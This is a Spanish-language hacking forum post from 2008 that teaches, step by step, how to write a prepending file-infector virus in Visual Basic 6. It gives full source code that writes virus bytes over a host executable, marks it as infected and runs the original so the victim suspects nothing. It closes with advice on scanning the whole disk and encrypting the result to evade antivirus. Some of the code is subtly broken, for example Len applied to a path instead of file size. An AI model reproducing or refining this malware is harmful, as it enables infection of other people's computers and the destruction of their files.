Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse. - Mayo 16, 2008, 12:35:12
Boton Buscar
Inicio Ayuda Calendario Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: Tughack)  |  Tema: Infectando ejecutables: Metodo Prepending 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Infectando ejecutables: Metodo Prepending  (Leído 24 veces)
SOADER (ANYD00M)
Colaborador
*****
Desconectado Desconectado

Mensajes: 651


.:Beethoven's Count:.

maxigile_tl@hotmail.com
Ver Perfil Email
« en: Mayo 01, 2008, 06:37:26 »

Lo que haremos será crear una rutina para infectar archivos ejecutables (*.exe) de un sistema utilizando Visual Basic 6.0. El método que usaremos será el prepending que se basa en introducir los bits del virus sobre los bits del ejecutable original y luego introducirle una marca para saber si esta infectado o no, normalmente al ejecutable a infectar se lo denomina host y así lo llamaremos nosotros también.
Seguramente ya abran oído hablar del prepending y abran visto su esquema =P. Mirando el esquema se darán una idea mas fluida de lo que estamos hablando, veamos los esquemas que nos indicaran las 3 secuencias por las que pasa el ejecutable al ser infectado.

1er esquema, el fichero ejecutable en su estado original:
---------------------------
|   HOST      |
---------------------------


2do esquema, al fichero se le agregan los bits del virus:
---------------------------
|   VIRUS   |
---------------------------
|   HOST      |
---------------------------


3er esquema, se agrega una marca de infectado:
---------------------------
|   VIRUS   |
---------------------------
|   HOST      |
---------------------------
|   MARCA   |
---------------------------


Bueno, quedo un poco feo, pero da una idea de lo que estamos hablando. Lo teórico es solo esto, y esto es lo único que tienen que saber, ahora comencemos a programar.

Primero lo primero…

Para comenzar debemos realizar los principios básicos, y comenzamos programando en el Form_Load. Para infectar debemos utilizar una copia del virus que no se este ejecutando en memoria, sino al intentar abrirlo el VB nos dará error. El código estará comentado para no tener que cortarlo con explicaciones:
Código: (vb)
Private Sub Form_Load ()
'Declaramos las variables que usaremos.
Dim Vx As String, PE As String

'Si nos estábamos ejecutando _
 terminamos la aplicación
If App.PrevInstance Then End

'Establecemos a Vx como la ruta completa _
 del virus.
Vx = App.Path & "\" & App.EXEName & ".exe"

‘Copiamos el virus y reestablecemos el _
 valor de la variable.
FileCopy Vx, “C:\VIRUS.exe”
Vx = “C:\VIRUS.exe”

'Establecemos a Pe como la ruta completa _
 del ejecutable a infectar.
Pe = "C:\HOST.exe"

'Ya tenemos lo que necesitamos, ahora _
 solo debemos llamar a la Funcion que _
 infectara el archivo, pasándole como _
 parámetros la ruta del virus y la del _
 archivo a infectar (Pe o C:\HOST.exe)
Call InfectarFichero(Vx, Pe)
End Sub
Bien, ahora debemos crear la función que infectara el fichero (en este caso HOST.exe ubicado en la raíz C:\). A la Funcion le pasaremos dos parámetros, el primero será la ruta completa del virus y el segundo será la ruta completa del fichero a infectar. Lo que hará esta función será abrir de forma binaria el virus, obtener sus bits y bytes, luego abrir el fichero a infectar y agregarle los bits al principio y la marca al final.
Eso fue fácil ¿no?, ahora comencemos con la función principal:
Código: (vb)
Private Function InfectarFichero(Virus As String, Host As String)
'Declaramos variable/s
Dim Marca As String, BtsHost As String

'Establecemos la marca
Marca = "HOSTInfectado"

'Abrimos el fichero para saber si esta infectado
Open Host For Binary Access Read As #1
    'Obtenemos el tamaño en bytes _
     del fichero
    BtsHost = Space(LOF(1))
    'Obtenemos todo su contenido.
    Get #1, , BtsHost
'Cerramos el archivo
Close #1

'Miramos si el archivo ya esta infectado
If InStr(BtsHost, Marca) <> 0 Then
    'Si esta infectado salimos.
    Exit Function
Else
    'Sino lo infectamos...
   
    'Establecemos la variable aquí _
     ya que si la poníamos al inicio _
     y no la usábamos, gastábamos _
     espacio en memoria de gusto.
    Dim BtsVirus
   
    'Abrimos de forma binaria el virus
    Open Virus For Binary Access Read As #2
        'Obtenemos el tamaño (en bytes) usando _
         la función Len(Archivo)
        BtsVirus = Space(Len(Virus))
        'Obtenemos los bits...
        Get #2, , BstVirus
    'Cerramos el archivo
    Close #2
   
    'Abrimos el fichero para infectarlo
    Open Host For Binary Access Write As #3
        'Ponemos los bits del virus
        Put #3, , BtsVirus
        'Ponemos los bits del original
        Put #3, , BtsHost
        'Ponemos la marca
        Put #3, , Marca
    'cerramos
    Close #3
End If
End Function
Muy bien, con esto ya tenemos infectado el fichero. Pero ¿Que pasa si queremos que cuando el usuario ejecute el fichero infectado, para no levantar sospechas se ejecute también el ejecutable original?. Para esto deberíamos crear otra función que cree un archivo temporal con los bits del fichero original, lo ejecute y lo elimine. Así quedaría en memoria el virus y el fichero infectado.
Bueno, comencemos:
Código: (vb)
Function DesinfectarFichero(Pe As String)
Dim Host As String

'Copiamos para poder abrirlo de forma _
 binaria.
FileCopy Pe, "C:\Temporal.exe"

'Abrimos y extraemos los bits correspondientes _
 al Host.
Open "C:\Temporal.exe" For Binary Access Read As #1
    'Obtenemos los bits del host, pero ATENCION _
     para esto debemos saber los bits que tenia _
     nuestro virus al ser compilado, esto lo _
     pueden obtener en las propiedades ;)
     Host = Space(Len("C:\Temporal.exe") - 20382)
     'Obtenemos a Host.
     Get #1, , Host
'Cerramos
Close #1

'Ahora creamos otro fichero temporal para poner _
 el Host, no es necesario que exista anteriormente _
 ya que VB lo crea si no existe.
Open "C:\HostTemporal.exe" For Binary Access Write As #2
    'Ponemos los bits del host
    Put #2, , Host
'Cerramos
Close #2

'Ejecutamos el Fichero
Shell "C:\HostTemporal.exe"

'Eliminamos los archivos temporales:
Kill "C:\Temporal.exe"
Kill "C:\HostTemporal.exe"
End Function
Pero a pesar de que tengamos ahora esta valiosa función, nos hace falta modificar un poco el Form_Load, para saber ni bien se ejecute el virus si se encuentra alojado en un fichero infectado o si es ejecutado desde su propio ser =P.
Así que, vamos a agregar unas líneas al Form_Load:
Código: (vb)
Private Sub Form_Load()
'Declaramos las variables que usaremos.
Dim Vx As String, Pe As String

'Si nos estábamos ejecutando _
 terminamos la aplicación
If App.PrevInstance Then End

'Establecemos a Vx como la ruta completa _
 del virus.
Vx = App.Path & "\" & App.EXEName & ".exe"

'*Líneas agregadas*
'Verificamos si el tamaño del virus es _
 el correcto o pesa mas. De pesar mas _
 suponemos que se encuentra en un fichero _
 infectado, así que llamamos a la función _
 que "desinfecta"
If Len(Vx) > 20382 Then
    Call DesinfectarFichero(Vx)
End If
 
'Establecemos a Pe como la ruta completa _
 del ejecutable a infectar.
Pe = "C:\HOST.exe"

'Ya tenemos lo que necesitamos, ahora _
 solo debemos llamar a la función que _
 infectara el archivo, pasándole como _
 parámetros la ruta del virus y la del _
 archivo a infectar (Pe o "C:\HOST.exe"
Call InfectarFichero(Vx, Pe)
End Sub
Y con esto ya habremos terminado, espero les halla servido.

NOTAS:
-Para obtener el tamaño en bytes del virus, una vez que lo hallan compilado se dirigen a él y le hacen clic derecho, van a propiedades y ahí les dirá el tamaño.

-La infección de ejecutables en un virus supone un motor de búsqueda de archivos que realice esta acción por todo el disco, esto lo podrán encontrar fácilmente en Internet pero yo no lo eh puesto ya que es muy largo.Pero pueden ver este post:
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
    Recorrer y listar archivos y carpetas
aqui se se muestra como recorrer todos los directorios del disco e ir listando sus archivos Wink

Deberia agregar tambien que muchos antivirus (se podria decir la gran mayoria) son capaces de captar ficheros con 2 o mas cabeceras, por lo que no estaria mal ademas encriptar el fichero infectado para que el AV no detecte su cabecera y pueda pasar mas desapercivido...
« Última modificación: Mayo 02, 2008, 10:44:48 por SOADER (ANYD00M) » En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: Tughack)  |  Tema: Infectando ejecutables: Metodo Prepending « anterior próximo »
Ir a:  
Novedades, Dudas, Comentarios Y Sugerencias, Top 100, Off-Topic, Revista E-Zine, Revista E-Zine, Sistemas operativos libres. , HacK GeneraL, Phreaking, Bug y Exploits, Networking & Wireless, Overclocking, Refrigeracion y demas, Hardware, Electronica Y Robotica, Hack para newbies, Todo Messenger, Troyanos y virus, Programacion, Programacion para webmasters, Software, Cracks & Serialz, P2p, Bittorrent, Elinks, Diseo Grafico, Juegos PC, Mp3, Multimedia, Peliculas Divx, Juegos, Humor y Adultos. (Diversion), Paginas Webs Recomendadas, Videos,


Zona-Musical Juegos online Juego Gratis10 Solucion Hosting Videos De Musica 1juegogratis Dragonjar
Noticias
 Juegos De Coche juegos gratis online juegos Los Foros De Sexe Gratuit Sexo Duro Tierra Messenger Trucos
Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC